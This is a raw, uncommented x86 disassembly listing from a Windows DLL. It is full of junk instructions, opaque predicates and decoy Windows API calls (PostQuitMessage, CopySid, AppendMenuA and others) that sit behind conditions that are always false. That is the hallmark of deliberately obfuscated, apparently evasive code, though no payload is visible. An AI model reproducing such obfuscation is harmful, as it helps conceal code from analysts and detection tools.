call fcn.100173a1
xor eax, eax
mov dword [ebp - 4], 0x37
push 3
mov dword [ebp - 0x1c], eax
pop edx
cmp dword [ebp - 0x1c], edx
jge 0x10034b14
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xa70]
call fcn.1001743f
push 2
pop ecx
push 3
mov dword [eax], ecx
inc dword [ebp - 0x1c]
pop edx
cmp dword [ebp - 0x1c], edx
jl 0x10034af4
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x1c], eax
inc ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10034b33
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x384], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10034b1f
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10034b49
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x758], 0xfa66fa4b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10034b38
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0xa70]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
xor eax, eax
push eax
call fcn.1001743f
xor ecx, ecx
xor edx, edx
inc ecx
mov dword [eax], ecx
xor eax, eax
mov dword [ebp - 0x384], eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
inc ecx
add eax, ecx
mov dword [ebp - 0x758], eax
lea ecx, [eax + 4]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setne dl
sub edx, 0x3053
neg edx
sbb edx, edx
inc edx
sub eax, edx
neg eax
sbb eax, eax
inc eax
cmp eax, 0x844ba928
jae 0x10034bc0
xor eax, eax
cmp dword [ebp - 0x384], eax
je 0x10034bc2
inc eax
jmp 0x10034bc2
xor eax, eax
imul eax, eax, 0xe1cc
test eax, eax
je 0x10034d6d
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10034be7
push 0x211c
call dword [sym.imp.USER32.dll_PostQuitMessage]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10034bf7
push eax
call dword [sym.imp.ole32.dll_CoInitialize]
lea ecx, [ebp - 0xa70]
mov dword [ebp - 4], edi
call fcn.10017423
dec dword [ebp - 0x38]
xor eax, eax
cmp dword [ebp - 0x38], 0xffffffe7
jle 0x10034acd
mov dword [ebp - 0x1c], 4
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x40], 0xe9d60a22
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 9
je 0x10034cac
xor edx, edx
inc edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x24], 0xd8c6
mov dword [ebp - 0x3c], 0xae86
mov dword [ebp - 0x50], 6
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x1c]
je 0x10034c57
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x28]
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x10034c73
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3c]
cmp eax, 0x606e
setne cl
xor eax, eax
cmp dword [ebp - 0x40], ecx
jg 0x10034ca0
cmp dword [ebp - 0x1c], eax
je 0x10034ca0
mov eax, edx
mov dword [ebp - 0x50], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 9
jne 0x10034c31
push 2
pop eax
push eax
lea ecx, [ebp - 0xfe0]
call fcn.100173a1
mov dword [ebp - 4], 0x38
xor eax, eax
mov dword [ebp - 0x24], 0x4cd4536
mov dword [ebp - 0x28], 0xcbae8b01
mov dword [ebp - 0x4c], 0xd5c0aeca
mov dword [ebp - 0x4c], 0x2f9e
push 2
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x10034d09
push dword [ebp - 0x14]
lea ecx, [ebp - 0xfe0]
call fcn.1001743f
push 2
and dword [eax], 0
inc dword [ebp - 0x14]
pop eax
cmp dword [ebp - 0x14], eax
jl 0x10034ceb
xor eax, eax
xor ecx, ecx
inc ecx
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], eax
jl 0x10034dda
push 3
pop edx
mov dword [ebp - 0x4c], 0xfffffff6
mov dword [ebp - 0x20], 0x526d2e85
mov dword [ebp - 0x4c], 0x443eb606
mov dword [ebp - 0x4c], 0x44d513c6
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x40], 0x333db962
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edx
jge 0x10034d61
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x135c], 6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10034d49
xor eax, eax
dec dword [ebp - 0x28]
mov dword [ebp - 0x20], 0xfffffff4
jmp 0x10034dcb
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xfffffff5
jg 0x10034be5
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10034d8e
push eax
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
xor eax, eax
dec dword [ebp - 0x34]
jmp 0x10034d72
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edx
jge 0x10034db2
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1404], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10034d9e
xor eax, eax
inc dword [ebp - 0x40]
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10034dc8
call ebx
xor ecx, ecx
xor eax, eax
push 3
inc ecx
pop edx
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffea
jl 0x10034d93
dec dword [ebp - 0x24]
jns 0x10034d1b
lea ecx, [ebp - 0xfe0]
mov dword [ebp - 4], edi
call fcn.10017423
push 3
xor eax, eax
lea ecx, [ebp - 0xb90]
pop ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x3c], 0xcc5c6a3f
push ebx
call fcn.100173a1
xor eax, eax
mov dword [ebp - 4], 0x39
mov dword [ebp - 0x14], eax
jmp 0x10034e28
push dword [ebp - 0x14]
lea ecx, [ebp - 0xb90]
call fcn.1001743f
mov dword [eax], 0xe1d4595a
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10034e11
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x10034e48
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x18]
jne 0x10034e45
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
push 0xfffffffffffffffb
setg cl
xor eax, eax
cmp ecx, 0xd1b4
pop ecx
setg al
cmp ecx, eax
lea ecx, [ebp - 0xb90]
sbb esi, esi
add esi, 0xdeb9d334
sub esi, dword [ebp - 0x18]
neg esi
sbb esi, esi
inc esi
sub esi, dword [ebp - 0x3c]
neg esi
sbb esi, esi
xor eax, eax
push eax
inc esi
call fcn.1001743f
mov dword [eax], esi
xor eax, eax
mov byte [ebp - 0xd], al
test esi, esi
je 0x10034eb5
cmp byte [ebp - 0xd], al
je 0x10034eda
push eax
push eax
push 0xc3a
push eax
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
jmp 0x10034eda
cmp byte [ebp - 0xd], al
je 0x10034ec9
push eax
push eax
push 0x14cc
call dword [sym.imp.ADVAPI32.dll_CopySid]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10034eda
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_EqualSid]
lea ecx, [ebp - 0xb90]
mov dword [ebp - 4], edi
call fcn.10017423
mov dword [ebp - 0x1c], 0x25d16df2
xor ebx, ebx
mov dword [ebp - 0x40], 0xd72a67f8
inc ebx
mov dword [ebp - 0x40], ebx
xor eax, eax
mov dword [ebp - 0x3c], 0xf1edd1ed
mov dword [ebp - 0x3c], 0xa2ff3e14
cmp dword [ebp - 0x1c], eax
jne 0x10034f6f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setl dl
add edx, dword [ebp - 0x1c]
jne 0x10034f51
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10034f53
mov eax, ebx
mov dword [ebp - 0x3c], eax
xor edx, edx
mov ecx, dword [ebp - 0x40]
sub ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setge dl
sub edx, dword [ebp - 0x1c]
jne 0x10034f6f
xor eax, eax
jmp 0x10034f71
mov eax, ebx
mov dword [ebp - 0x3c], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10034f8e
push eax
push eax
push 0x18b0
push eax
call dword [sym.imp.USER32.dll_AppendMenuA]
xor eax, eax
mov dword [ebp - 0x14], eax
push 2
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x10034fb4
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x4e8], 0xd6f2ee76
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10034f9c
xor eax, eax
inc dword [ebp - 0x4e8]
mov dword [ebp - 0x14], eax
jmp 0x10034ff6
mov dword [ebp - 0x38], 0x962ee6d0
mov dword [ebp - 0x38], 0x70a77c87
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], ebx
jg 0x10034ff3
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp + eax*4 - 0x4e8]
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x4e8], ecx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jle 0x10034fd5
xor eax, eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffffd
je 0x10034fbf
push 3
pop eax
mov dword [ebp - 0x14], 0xf40f
lea ecx, [ebp - 0x550]
push eax
call fcn.100173a1
mov dword [ebp - 4], 0x3a
xor eax, eax
mov dword [ebp - 0x38], ebx
push 3
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x1003504c
push ecx
pop ebx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x550]
call fcn.1001743f
mov dword [eax], 0x2456160c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1003502b
xor ebx, ebx
xor eax, eax
inc ebx
push 2
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x1003506f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xd3c], 4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10035057
cmp dword [ebp - 0x14], eax
jne 0x10035080